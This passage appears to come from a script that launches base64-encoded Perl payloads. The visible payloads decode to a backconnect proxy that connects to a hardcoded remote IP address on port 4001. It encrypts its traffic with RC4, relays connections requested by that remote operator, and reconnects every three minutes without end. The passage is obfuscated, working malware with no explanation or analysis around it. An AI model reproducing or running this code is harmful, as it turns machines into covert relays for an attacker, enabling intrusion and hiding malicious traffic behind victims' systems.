bmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_29.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTc4JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGV